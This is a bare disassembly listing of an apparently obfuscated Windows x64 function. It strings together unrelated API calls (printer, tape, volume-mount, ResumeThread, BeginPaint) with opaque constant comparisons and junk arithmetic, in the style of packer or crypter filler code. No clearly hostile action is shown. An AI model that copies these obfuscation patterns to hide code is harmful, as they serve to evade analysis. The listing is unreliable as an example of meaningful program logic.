mov rax, qword [rsp + 0x28c0]
movzx ecx, byte [rax]
call fcn.14009fbf0
nop
jmp 0x14009f3db
mov rax, qword [rsp + 0x29c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2900]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaa], al
jmp 0x14009f4bb
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
and eax, ecx
mov rcx, qword [rsp + 0x28e0]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x29c8]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14009f4bb
movzx eax, byte [rsp + 0xaa]
mov byte [rsp + 0x2480], al
cmp byte [rsp + 0x2480], 0x6e
je 0x14009f439
cmp byte [rsp + 0x2480], 0x76
je 0x14009f4aa
jmp 0x14009f4bb
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
sar eax, cl
mov byte [rsp + 0xab], al
mov edx, 0xa6
mov rcx, qword [rsp + 0x2a48]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x2c98], rax
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
xor eax, ecx
mov rcx, qword [rsp + 0x28c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x29d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x404], ax
jmp 0x14009f4bb
mov rax, qword [rsp + 0x28c0]
movzx ecx, byte [rax]
call fcn.1400a0b80
nop
mov rax, qword [rsp + 0x28e8]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x2918]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x1544]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14009f58e
mov rax, qword [rsp + 0x2888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x27a8], rax
mov rax, qword [rsp + 0x28f0]
movzx ecx, al
mov rax, qword [rsp + 0x2800]
shl rax, cl
mov rcx, qword [rsp + 0x2840]
mov qword [rcx], rax
lea rax, [rsp + 0x143c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2840]
mov qword [rsp + 0x20], rax
mov r9d, 0xc0
lea r8, [rsp + 0x2a00]
mov edx, 0x34
mov rcx, qword [rsp + 0x2bd8]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x1528], eax
mov rax, qword [rsp + 0x2918]
mov ecx, dword [rsp + 0x14d8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x28d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x142c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x28b0]
mov dword [rcx], eax
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x63
lea rax, [rsp + 0x28c0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xab]
mov r8, qword [rsp + 0x2a18]
mov rdx, qword [rsp + 0x2880]
mov rcx, qword [rsp + 0x2bd8]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x1460], eax
jmp 0x14009f773
mov rdx, qword [rsp + 0x2a00]
mov rcx, qword [rsp + 0x2a18]
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov dword [rsp + 0x1420], eax
movsx eax, word [rsp + 0x5bc]
mov dword [rsp + 0x2484], eax
cmp dword [rsp + 0x2484], 0x3200
je 0x14009f64f
cmp dword [rsp + 0x2484], 0x6d99
je 0x14009f758
jmp 0x14009f773
mov rax, qword [rsp + 0x2930]
mov rcx, qword [rsp + 0x24e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2970]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xab]
or eax, ecx
movzx ecx, byte [rsp + 0xa8]
movzx edx, byte [rsp + 0xa9]
xor ecx, edx
cmp eax, ecx
jg 0x14009f6b2
mov rcx, qword [rsp + 0x2850]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x152c], eax
jmp 0x14009f704
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sar eax, cl
movsx ecx, word [rsp + 0x5cc]
mov dword [rsp + 0x2488], ecx
movsx edx, word [0x1400b9010]
movzx ecx, dl
mov edx, dword [rsp + 0x2488]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14009f704
mov eax, dword [rsp + 0x14d8]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1488], eax
mov rax, qword [rsp + 0x2980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x28f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2980]
mov word [rcx], ax
mov ecx, 0x51
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [rsp + 0x14b0], eax
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x5c8]
add eax, ecx
mov rcx, qword [rsp + 0x2818]
mov word [rcx], ax
jmp 0x14009f773
mov rax, qword [rsp + 0x28e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaa]
sub eax, ecx
mov byte [0x1400b9e10], al
mov rax, qword [rsp + 0x2818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5c4]
add eax, ecx
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x24e0]
mov qword [rsp + 0xe730], rax
movabs rax, 0x2d513b8be467fe43
cmp qword [rsp + 0xe730], rax
je 0x14009f842
movabs rax, 0x308c215deb5509c8
cmp qword [rsp + 0xe730], rax
je 0x14009f7d4
jmp 0x14009f85c
mov edx, 0x14
mov ecx, 0xac
call qword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [rsp + 0x14b8], eax
movsx eax, byte [rsp + 0xaa]
movsx ecx, byte [0x1400b9e10]
sub eax, ecx
mov rcx, qword [rsp + 0x2900]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa9]
movzx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x27e0]
mov rcx, qword [rsp + 0x25f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
jmp 0x14009f85c
mov rax, qword [rsp + 0x2878]
mov ecx, dword [rsp + 0x142c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x14e0], eax
mov rax, qword [rsp + 0x28e8]
mov rcx, qword [rsp + 0x28d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
jmp 0x14009f8bc
mov rax, qword [rsp + 0x25f0]
mov rcx, qword [rsp + 0x2808]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2888]
mov qword [rcx], rax
lea r8, [rsp + 0x27a8]
mov edx, 0xbe
lea rcx, str.breedDogfishWhipcordousts
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov dword [rsp + 0x1420], eax
call fcn.14009fa10
nop
lea r9, [rsp + 0x142c]
lea r8, [rsp + 0x142c]
mov edx, 0x6a
mov rcx, qword [rsp + 0x2858]
call qword [sym.imp.KERNEL32.dll_GetTapeParameters]
mov dword [rsp + 0x14d8], eax
movsx eax, word [rsp + 0x5bc]
movsx ecx, word [rsp + 0x5b8]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
mov rax, qword [rsp + 0x2848]
mov rax, qword [rax]
mov qword [rsp + 0xe738], rax
movabs rax, 0xe10bbf359511bb1f
cmp qword [rsp + 0xe738], rax
je 0x14009f946
movabs rax, 0xec9ef729607c5d06
cmp qword [rsp + 0xe738], rax
je 0x14009f956
jmp 0x14009f968
movzx ecx, byte [rsp + 0xa9]
call fcn.1400a0b80
nop
jmp 0x14009f968
movzx eax, byte [rsp + 0xa8]
sub eax, 0x7e
mov byte [rsp + 0xa9], al
jmp 0x14009f978
movzx ecx, byte [rsp + 0xa8]
call fcn.14009fbf0
nop
mov rax, qword [rsp + 0x2810]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5bc]
sub eax, ecx
mov rcx, qword [rsp + 0x2810]
mov word [rcx], ax
movsx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x2810]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5b8], ax
jmp 0x14009f9d5
lea rdx, [rsp + 0x29a0]
mov rcx, qword [rsp + 0x29a0]
call qword [sym.imp.USER32.dll_BeginPaint]
mov qword [rsp + 0x2a20], rax
movzx eax, word [rsp + 0x404]
or eax, 0x4d2
mov rcx, qword [rsp + 0x27c8]
mov word [rcx], ax
mov dword [rsp + 0x142c], 0x5f081e59
mov eax, dword [rsp + 0x19a4]
add rsp, 0xf3b8
ret